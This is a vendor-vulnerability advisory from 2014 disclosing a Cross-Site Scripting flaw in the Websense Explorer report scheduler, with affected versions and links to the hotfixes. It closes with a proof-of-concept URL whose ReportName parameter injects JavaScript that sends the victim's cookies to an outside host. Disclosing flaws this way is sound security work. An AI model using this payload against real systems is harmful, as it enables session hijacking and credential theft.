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Cross-Site Scripting vulnerability in Websense Explorer report scheduler
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Han Sahin, September 2014

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Abstract
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It was discovered that the report scheduler of Websense Explorer is
vulnerable to Cross-Site Scripting. Cross-Site Scripting allows an
attacker to perform a wide variety of actions, such as stealing the
victim's session token or login credentials, performing arbitrary
actions on the victim's behalf, and logging their keystrokes.

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Tested versions
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This issue was discovered on Websense Triton v7.8.3 and Websense
appliance modules V-Series v7.7. Other versions may be affected as well.

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Fix
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Websense released hotfix 02 for Websense Triton v7.8.4 in which this
issue is fixed. More information about this hotfix can be found at the
following location:
http://www.websense.com/support/article/kbarticle/v7-8-4-About-Hotfix-02-for-Web-Security-Solutions

This issue is resolved in TRITON APX Version 8.0. More information about
the fixed can be found at the following location:
http://www.websense.com/support/article/kbarticle/Vulnerabilities-resolved-in-TRITON-APX-Version-8-0

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Details
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https://www.securify.nl/advisory/SFY20140911/cross_site_scripting_vulnerability_in_websense_explorer_report_scheduler.html


An attacker can schedule a report containing a specially crafted ReportName that will trigger this vulnerability. An attacker can use this issue to inject malicious JavaScript code into the output of the application. The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session tokens or login credentials, performing arbitrary actions on their behalf, logging their keystrokes. The following proof of concept can be used to demonstrate this issue:

https://<target>:9443/Websense/cgi-bin/WsCgiExplorerSchedule.exe?pageAction=confirm&KeepTrend=&rangeAll=&emailListChain=%5Ehan.sahin%40securify.nl&SchedulePage=RunWeekly&DayOfWeek=Saturday&StartHour=21&StartMinute=30&emailList=%5Ehan.sahin%40securify.nl&EmailSubject=&EmailText=&ReportName=XSS<img+src%3dx+onerror%3dthis.src%3d'https%3a//www.securify.nl/%3fc%3d'%2bdocument.cookie>&outputFormat=.pdf&DateRangeType=AllDates